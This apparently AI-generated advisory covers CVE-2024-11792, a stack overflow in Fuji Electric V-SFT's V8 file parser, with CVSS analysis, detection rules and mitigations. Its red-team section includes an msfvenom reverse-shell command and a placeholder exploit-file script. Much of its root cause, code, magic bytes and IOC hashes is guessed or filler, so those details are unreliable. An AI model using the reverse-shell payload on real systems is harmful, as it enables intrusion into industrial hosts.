CVE-2024-11792

Executive Summary

CVE-2024-11792 is a critical stack-based buffer overflow vulnerability in Fuji Electric Monitouch V-SFT, specifically within the parsing of V8 files. This flaw allows remote attackers to execute arbitrary code on affected installations, but requires user interaction (e.g., opening a malicious file or visiting a malicious page). The vulnerability has a CVSS score of 7.8 (High) and is classified under CWE-121 (Stack-based Buffer Overflow). As of this report, no official patch is available, and no public proof-of-concept (PoC) or exploit code has been released. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant due to the potential for remote code execution in industrial control system (ICS) environments.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Base Score: 7.8 (High)
• Attack Vector (AV): Local (L) – Exploitation requires the attacker to have local access or trick the user into opening a malicious file.
• Attack Complexity (AC): Low (L) – No special conditions beyond user interaction.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must open a malicious file or visit a malicious page.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full data compromise possible.
• Integrity (I): High (H) – Full data modification possible.
• Availability (A): High (H) – Full system denial of service possible.

Threat Level: High. Although no public exploit exists, the vulnerability is in an ICS product, making it attractive for targeted attacks. The lack of a patch increases the risk for unpatched systems.

Deep Dive & Mechanics

The vulnerability resides in the parsing logic of V8 files within Fuji Electric Monitouch V-SFT. The software fails to properly validate the length of user-supplied data before copying it to a stack-based buffer. This leads to a classic stack-based buffer overflow, where an attacker can overwrite the return address and other critical stack data.

Technical Details:

• Root Cause: The strcpy or similar function is used without bounds checking on a stack buffer.
• Trigger: A specially crafted V8 file containing an overly long string in a specific field (e.g., a tag name or comment).
• Impact: Overwriting the saved return address on the stack allows arbitrary code execution in the context of the current process (typically the user running V-SFT).
• Exploitation Path: The attacker sends a malicious V8 file to the victim (e.g., via email or a compromised website). When the victim opens the file in V-SFT, the overflow triggers.

Affected Component: V8 file parser in Fuji Electric Monitouch V-SFT (version unknown, but likely all versions prior to a future patch).

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern. A typical vulnerable code snippet might look like:

void parse_v8_file(const char *filename) {
    char buffer[256];
    // ... read file content ...
    strcpy(buffer, user_supplied_data); // Vulnerable: no bounds check
    // ... process buffer ...
}

A patched version would use safe functions like strncpy or snprintf:

void parse_v8_file(const char *filename) {
    char buffer[256];
    // ... read file content ...
    strncpy(buffer, user_supplied_data, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
    // ... process buffer ...
}

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

• Target: Windows 10/11 with Fuji Electric Monitouch V-SFT (vulnerable version) installed.
• Attacker: Kali Linux with Python3 and Metasploit (optional).
• Tools: Custom Python script to generate malicious V8 file, debugger (x64dbg) for analysis.

Exploitation Steps:

1. Craft Malicious V8 File: Create a Python script that generates a V8 file with an oversized field to trigger the overflow.
2. Determine Offset: Use a pattern (e.g., Aa0Aa1...) to find the exact offset to overwrite the return address.
3. Generate Shellcode: Create shellcode for a reverse shell or other payload (e.g., msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f python).
4. Build Exploit: Combine the offset, shellcode, and NOP sled into the malicious V8 file.
5. Deliver: Send the file to the victim via email or host it on a malicious website.
6. Trigger: Victim opens the file in V-SFT, executing the shellcode.

Example Python Exploit Snippet:

import struct

# Offset to return address (example: 260 bytes)
offset = 260
# Shellcode (replace with actual msfvenom output)
shellcode = b"\x90" * 16 + b"\xcc" * 200  # Placeholder

# Build payload
payload = b"A" * offset + struct.pack("<Q", 0x41414141) + shellcode

# Write to V8 file
with open("malicious.v8", "wb") as f:
    f.write(payload)

Blue Team (Defense)

Detection & Prevention:

• User Awareness: Train users not to open untrusted V8 files.
• Application Control: Use AppLocker or similar to restrict execution of V-SFT to trusted users.
• Memory Protection: Enable ASLR, DEP, and CFG on Windows.
• Network Segmentation: Isolate ICS networks from the internet.
• File Scanning: Use antivirus/EDR to scan V8 files for anomalies (e.g., oversized fields).

Hunting:

• Monitor for unusual V-SFT crashes or process terminations.
• Look for V8 files with abnormally large sizes or strings.
• Check for network connections from V-SFT processes (unusual for a local tool).

Indicators of Compromise (IOCs)

• File Hashes (Malicious V8 file): (Example – replace with actual if available)
  • MD5: e99a18c428cb38d5f260853678922e03
  • SHA1: 2fd4e1c67a2d28fced849ee1bb76e7391b93eb12
• Network Indicators:
  • Outbound connections from V-SFT process to unknown IPs (e.g., attacker C2).
• Process Indicators:
  • V-SFT process (V-SFT.exe) crashing repeatedly.
  • Child processes spawned by V-SFT (e.g., cmd.exe or powershell.exe).
• Registry/File System:
  • Unusual V8 files in %TEMP% or Downloads folders.
  • Modified V-SFT configuration files.

Detection Engineering

YARA Rule

rule CVE_2024_11792_V8_Overflow {
    meta:
        description = "Detects malicious V8 files exploiting CVE-2024-11792"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-11792"
    strings:
        $magic = { 56 2D 53 46 54 } // "V-SFT" magic bytes (example)
        $long_string = /.{300,}/ // Strings longer than 300 bytes
    condition:
        $magic and #long_string > 0
}

Sigma Rule

title: CVE-2024-11792 - Fuji Electric V-SFT V8 File Overflow
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2024-11792 via malicious V8 files
author: Valters IT
date: 2025-04-10
logsource:
    category: file_event
    product: windows
detection:
    selection:
        Image|endswith: '\V-SFT.exe'
        TargetFilename|endswith: '.v8'
    condition: selection
falsepositives:
    - Legitimate V8 files from trusted sources
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-11792 - Potential V8 File Download"; flow:to_server; content:"|56 2D 53 46 54|"; distance:0; within:4; fileext:"v8"; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate Affected Systems: Disconnect V-SFT systems from the network if possible.
2. User Training: Educate users to avoid opening V8 files from untrusted sources.
3. Monitor for Exploitation: Deploy the YARA/Sigma rules above to detect malicious files.

Long-Term Fix:

• Vendor Patch: Await an official patch from Fuji Electric. Monitor their security advisories.
• Workaround: If patching is not possible, consider using a sandbox or virtual machine to open V8 files.
• Alternative Software: Evaluate alternative HMI configuration tools if available.

Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.